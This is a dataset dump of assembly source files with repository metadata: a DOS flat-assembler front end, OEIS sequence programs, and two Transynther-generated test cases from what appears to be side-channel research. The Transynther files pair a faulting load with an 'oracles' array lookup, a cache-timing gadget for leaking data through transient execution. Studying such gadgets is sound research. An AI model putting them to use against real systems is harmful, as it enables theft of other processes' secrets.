hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8fcc8801cc7b8debe3c27ea4f9aff278bcd8cca5
| 4,109
|
asm
|
Assembly
|
Samveen's example OS/requirements/fasmw-1.45/source/dos/fasm.asm
|
samveen/teasers
|
a474239555aa984dac4f1f4be1163e33ae205aff
|
[
"BSD-2-Clause"
] | null | null | null |
Samveen's example OS/requirements/fasmw-1.45/source/dos/fasm.asm
|
samveen/teasers
|
a474239555aa984dac4f1f4be1163e33ae205aff
|
[
"BSD-2-Clause"
] | null | null | null |
Samveen's example OS/requirements/fasmw-1.45/source/dos/fasm.asm
|
samveen/teasers
|
a474239555aa984dac4f1f4be1163e33ae205aff
|
[
"BSD-2-Clause"
] | null | null | null |
; flat assembler interface for DOS
; Copyright (c) 1999-2003, Tomasz Grysztar.
; All rights reserved.
org 100h
macro align value { rb (value-1) - ($ + value-1) mod value }
start:
mov ah,4Ah
mov bx,1010h
int 21h
mov dx,_logo
mov ah,9
int 21h
cld
call init_flatrm
call init_memory
call get_params
cmp [params],0
je information
lea eax,[params+1]
mov [input_file],eax
movzx ecx,byte [eax-1]
add eax,ecx
cmp byte [eax],0
je information
inc eax
mov [output_file],eax
movzx ecx,byte [eax-1]
add eax,ecx
cmp byte [eax],0
jne information
mov di,characters
mov cx,100h
xor al,al
make_characters_table:
stosb
inc al
loop make_characters_table
mov si,characters+'a'
mov di,characters+'A'
mov cx,26
rep movsb
mov di,characters
mov si,symbol_characters+1
movzx cx,byte [si-1]
xor bx,bx
convert_table:
lodsb
mov bl,al
mov byte [di+bx],0
loop convert_table
mov ebx,46Ch
sub ebx,[program_base]
mov eax,[ebx]
mov [start_time],eax
call preprocessor
call parser
call assembler
call formatter
movzx eax,[current_pass]
inc al
call display_number
mov ah,9
mov dx,_passes_suffix
int 21h
mov ebx,46Ch
sub ebx,[program_base]
mov eax,[ebx]
sub eax,[start_time]
mov ebx,100
mul ebx
mov ebx,182
div ebx
or eax,eax
jz display_bytes_count
xor edx,edx
mov ebx,10
div ebx
push edx
call display_number
mov ah,2
mov dl,'.'
int 21h
pop eax
call display_number
mov ah,9
mov dx,_seconds_suffix
int 21h
display_bytes_count:
mov eax,[written_size]
call display_number
mov ah,9
mov dx,_bytes_suffix
int 21h
xor al,al
jmp exit_program
information:
mov dx,_usage
mov ah,9
int 21h
mov al,1
jmp exit_program
include 'system.inc'
include '..\version.inc'
include '..\errors.inc'
include '..\expressi.inc'
include '..\preproce.inc'
include '..\parser.inc'
include '..\assemble.inc'
include '..\formats.inc'
include '..\x86.inc'
_copyright db 'Copyright (c) 1999-2002, Tomasz Grysztar',0Dh,0Ah,24h
_logo db 'flat assembler version ',VERSION_STRING,0Dh,0Ah,24h
_usage db 'usage: fasm source output',0Dh,0Ah,24h
_passes_suffix db ' passes, ',24h
_seconds_suffix db ' seconds, ',24h
_bytes_suffix db ' bytes.',0Dh,0Ah,24h
_counter db 8,'00000000'
align 4
program_base dd ?
memory_start dd ?
memory_end dd ?
additional_memory dd ?
additional_memory_end dd ?
free_additional_memory dd ?
input_file dd ?
output_file dd ?
source_start dd ?
code_start dd ?
code_size dd ?
real_code_size dd ?
start_time dd ?
written_size dd ?
current_line dd ?
macros_list dd ?
macro_constants dd ?
macro_block dd ?
macro_block_line_number dd ?
macro_embed_level dd ?
struc_name dd ?
current_locals_prefix dd ?
anonymous_reverse dd ?
anonymous_forward dd ?
labels_list dd ?
label_hash dd ?
org_origin dd ?
org_sib dd ?
org_start dd ?
undefined_data_start dd ?
undefined_data_end dd ?
counter dd ?
counter_limit dd ?
error_line dd ?
error dd ?
display_buffer dd ?
structures_buffer dd ?
number_start dd ?
current_offset dd ?
value dq ?
fp_value rd 8
symbol_identifier dd ?
address_symbol dd ?
format_flags dd ?
symbols_stream dd ?
number_of_relocations dd ?
number_of_sections dd ?
stub_size dd ?
stub_file dd ?
current_section dd ?
machine dw ?
subsystem dw ?
subsystem_version dd ?
image_base dd ?
macro_status db ?
parenthesis_stack db ?
output_format db ?
code_type db ?
current_pass db ?
next_pass_needed db ?
reloc_labels db ?
times_working db ?
virtual_data db ?
fp_sign db ?
fp_format db ?
value_size db ?
forced_size db ?
value_undefined db ?
value_type db ?
address_size db ?
compare_type db ?
base_code db ?
extended_code db ?
postbyte_register db ?
segment_register db ?
operand_size db ?
imm_sized db ?
jump_type db ?
mmx_size db ?
mmx_prefix db ?
nextbyte db ?
characters rb 100h
params rb 100h
converted rb 100h
buffer rb 1000h
rb 400h
if $ > 10000h
display 'warning: 64k limit exceeded.'
end if
| 17.635193
| 69
| 0.703091
|
9713383d0e76fa833983a1b72d932b4fad8f3ae7
| 374
|
asm
|
Assembly
|
oeis/198/A198310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/198/A198310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/198/A198310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A198310: Moore lower bound on the order of a (10,g)-cage.
; Submitted by Jon Maiga
; 11,20,101,182,911,1640,8201,14762,73811,132860,664301,1195742,5978711,10761680,53808401,96855122,484275611,871696100,4358480501,7845264902,39226324511,70607384120,353036920601,635466457082,3177332285411
mov $1,3
pow $1,$0
gcd $0,2
mul $0,2
add $0,1
mul $0,$1
div $0,4
mul $0,9
add $0,2
| 26.714286
| 204
| 0.759358
|
ff762230a1048955742b008d5cf666fc76a661c3
| 7,404
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1733.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1733.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1733.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1d794, %r8
nop
add $25714, %r14
mov $0x6162636465666768, %r9
movq %r9, (%r8)
nop
nop
nop
sub $31011, %r14
lea addresses_A_ht+0x1130a, %rsi
add %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rsi)
nop
nop
xor $52131, %r9
lea addresses_UC_ht+0xff0a, %r10
nop
nop
inc %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm2
vmovups %ymm2, (%r10)
nop
nop
nop
inc %r14
lea addresses_D_ht+0x1394a, %rsi
nop
add $15148, %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x4862, %r9
nop
nop
and $18370, %rbp
mov (%r9), %rdi
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0xd0ea, %rsi
lea addresses_WC_ht+0xaeea, %rdi
nop
xor %r14, %r14
mov $30, %rcx
rep movsb
nop
nop
cmp $27809, %rsi
lea addresses_WT_ht+0x1d70a, %rcx
nop
nop
nop
nop
nop
and %rdi, %rdi
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %rsi
nop
add %rdi, %rdi
lea addresses_UC_ht+0x1df0a, %rcx
nop
nop
nop
nop
nop
dec %r8
mov $0x6162636465666768, %r10
movq %r10, (%rcx)
nop
nop
nop
and $3093, %rdi
lea addresses_A_ht+0x6f22, %rcx
nop
nop
nop
sub $7918, %r10
mov $0x6162636465666768, %r9
movq %r9, (%rcx)
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0x9fca, %rsi
nop
nop
nop
nop
nop
sub $15542, %r8
movb (%rsi), %r14b
nop
nop
sub $24881, %r9
lea addresses_UC_ht+0x18b0a, %r14
nop
nop
and %rbp, %rbp
movl $0x61626364, (%r14)
inc %rdi
lea addresses_D_ht+0x3bda, %r9
nop
cmp $25640, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, (%r9)
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rax
push %rbx
// Store
mov $0x131, %r11
nop
nop
sub $14607, %rax
movb $0x51, (%r11)
nop
nop
nop
nop
nop
cmp $57124, %r10
// Store
lea addresses_WT+0x13eea, %r11
nop
add $25990, %rbx
mov $0x5152535455565758, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r11)
nop
nop
xor $10393, %rax
// Faulty Load
lea addresses_PSE+0x1570a, %r10
nop
nop
nop
add %rax, %rax
movb (%r10), %r11b
lea oracles, %r8
and $0xff, %r11
shlq $12, %r11
mov (%r8,%r11,1), %r11
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 34.760563
| 2,999
| 0.655321
|
4a42857ec8be211a227993da3ee5f231d111deb2
| 458
|
asm
|
Assembly
|
oeis/139/A139125.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/139/A139125.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/139/A139125.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A139125: a(0) = 0; a(n) = a(n-1) + binomial( n(n+1)/2, n) mod n.
; Submitted by Jon Maiga
; 0,1,3,5,8,8,12,16,21,21,27,34,41,41,50,58,67,67,77,77,80,80,92,98,111,124,129,129,144,148,164,180,204,204,224,236,255,255,259,297,318,318,340,362,392,392,416,428,453,478,496,496,523,523,568,619,670,670,700
mov $2,$0
mov $3,$0
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
add $0,1
mov $1,1
add $1,$0
bin $1,2
bin $1,$0
mod $1,$0
add $4,$1
lpe
mov $0,$4
| 22.9
| 207
| 0.58952
|
8fcdda87970dd772df450c6604776058415124ce
| 590
|
asm
|
Assembly
|
programs/oeis/030/A030102.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/030/A030102.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/030/A030102.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A030102: Base-3 reversal of n (written in base 10).
; Coded manually 2021-03-02 by Simon Strandgaard, https://github.com/neoneye
; 0,1,2,1,4,7,2,5,8,1,10,19,4,13,22,7,16,25,2,11,20,5,14,23,8,17,26,1,28,55,10,37,64,19,46,73,4,31,58,13,40,67,22,49,76,7,34,61,16,43,70,25,52,79,2,29,56,11,38,65,20,47,74,5,32,59,14,41,68,23,50,77,8,35,62,17,44,71
mov $1,0
; $1 = result = 0
lpb $0
mov $2, $0
mod $2, 3
; $2 = last digit
mul $1, 3
add $1, $2
; $1 = (result * 3) + last digit
div $0, 3 ; $0 = divide by 3
; continue while $0 is greater than 0
lpe
| 29.5
| 214
| 0.581356
|
a4a0095667b0f79faebfc4b152e1e3c44c626747
| 483
|
asm
|
Assembly
|
oeis/001/A001194.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/001/A001194.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/001/A001194.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A001194: a(n) = A059366(n,n-2) = A059366(n,2) for n >= 2, where the triangle A059366 arises in the expansion of a trigonometric integral.
; Submitted by Jamie Morken(s2)
; 3,9,54,450,4725,59535,873180,14594580,273648375,5685805125,129636356850,3217338674550,86331921100425,2490343877896875,76844896803675000,2525635608280785000,88081541838792376875,3248654513701342370625
mov $2,$0
seq $0,1193 ; a(n) = (n+1)*(2*n)!/(2^n*n!) = (n+1)*(2n-1)!!.
add $2,2
mul $0,$2
div $0,2
mul $0,3
| 43.909091
| 201
| 0.730849
|
7951d76afcf0d8fdf8b54835e12d94233d56ca1e
| 9,232
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_16566_6.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_16566_6.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_16566_6.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0xb140, %rbx
nop
nop
nop
sub %rdx, %rdx
movl $0x61626364, (%rbx)
nop
nop
nop
nop
dec %r11
lea addresses_WC_ht+0xdf1c, %rdi
nop
nop
and %rcx, %rcx
vmovups (%rdi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r8
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x1e22a, %rsi
lea addresses_D_ht+0x14a8c, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $58, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $3739, %rbx
lea addresses_WT_ht+0x11e8c, %rsi
lea addresses_UC_ht+0x11e8c, %rdi
nop
nop
nop
and $32825, %rdx
mov $44, %rcx
rep movsb
nop
nop
nop
inc %r8
lea addresses_A_ht+0x81d4, %rcx
nop
nop
and $28692, %rsi
movw $0x6162, (%rcx)
nop
nop
nop
nop
xor $52050, %r12
lea addresses_normal_ht+0x8e8c, %r11
nop
nop
nop
add $63715, %rcx
movl $0x61626364, (%r11)
xor $58180, %r11
lea addresses_UC_ht+0xc8c, %rcx
nop
nop
nop
nop
dec %rsi
movw $0x6162, (%rcx)
nop
mfence
lea addresses_UC_ht+0xb28c, %rsi
lea addresses_WC_ht+0x18d1e, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov $54, %rcx
rep movsb
nop
nop
nop
nop
xor $55494, %rsi
lea addresses_UC_ht+0x1b78, %rsi
lea addresses_D_ht+0x3e8c, %rdi
clflush (%rsi)
nop
nop
inc %rdx
mov $23, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0x1640c, %rcx
clflush (%rcx)
nop
nop
dec %r8
mov (%rcx), %dx
nop
and %rdx, %rdx
lea addresses_WT_ht+0x858c, %rsi
nop
nop
nop
nop
nop
inc %rbx
mov (%rsi), %r8w
nop
nop
nop
nop
cmp $11325, %r12
lea addresses_WC_ht+0x1ca8c, %rsi
lea addresses_UC_ht+0x110c, %rdi
nop
nop
nop
nop
nop
and $43457, %r8
mov $26, %rcx
rep movsq
sub $62903, %rcx
lea addresses_normal_ht+0x1768c, %rcx
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%rcx), %bx
nop
nop
nop
nop
nop
xor $14341, %rcx
lea addresses_D_ht+0x1458c, %rsi
lea addresses_WC_ht+0x1a40c, %rdi
nop
nop
add $38749, %rbx
mov $14, %rcx
rep movsl
nop
sub %rbx, %rbx
lea addresses_D_ht+0x744c, %rsi
nop
cmp $44965, %rdx
mov $0x6162636465666768, %r8
movq %r8, %xmm5
and $0xffffffffffffffc0, %rsi
vmovaps %ymm5, (%rsi)
nop
nop
nop
nop
nop
and %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rdi
// Store
lea addresses_normal+0xd60c, %rdi
cmp $20826, %r12
movb $0x51, (%rdi)
// Exception!!!
nop
nop
mov (0), %r8
nop
add $16088, %r8
// Store
lea addresses_normal+0x1cca7, %r8
clflush (%r8)
nop
nop
sub %r10, %r10
mov $0x5152535455565758, %rbp
movq %rbp, (%r8)
nop
nop
nop
nop
nop
add $30552, %rbp
// Store
mov $0x75427e0000000ecc, %r8
and %rbp, %rbp
mov $0x5152535455565758, %r10
movq %r10, %xmm5
movups %xmm5, (%r8)
add $15335, %rdi
// Store
lea addresses_US+0x19e8c, %r12
nop
nop
nop
and $38858, %r15
movl $0x51525354, (%r12)
nop
add %r15, %r15
// Store
lea addresses_PSE+0x1b78c, %r10
nop
nop
nop
nop
add $37560, %r12
mov $0x5152535455565758, %r8
movq %r8, %xmm2
movups %xmm2, (%r10)
inc %r12
// Faulty Load
lea addresses_US+0xde8c, %r11
nop
nop
sub $39562, %r15
movups (%r11), %xmm1
vpextrq $0, %xmm1, %rbp
lea oracles, %r11
and $0xff, %rbp
shlq $12, %rbp
mov (%r11,%rbp,1), %rbp
pop %rdi
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
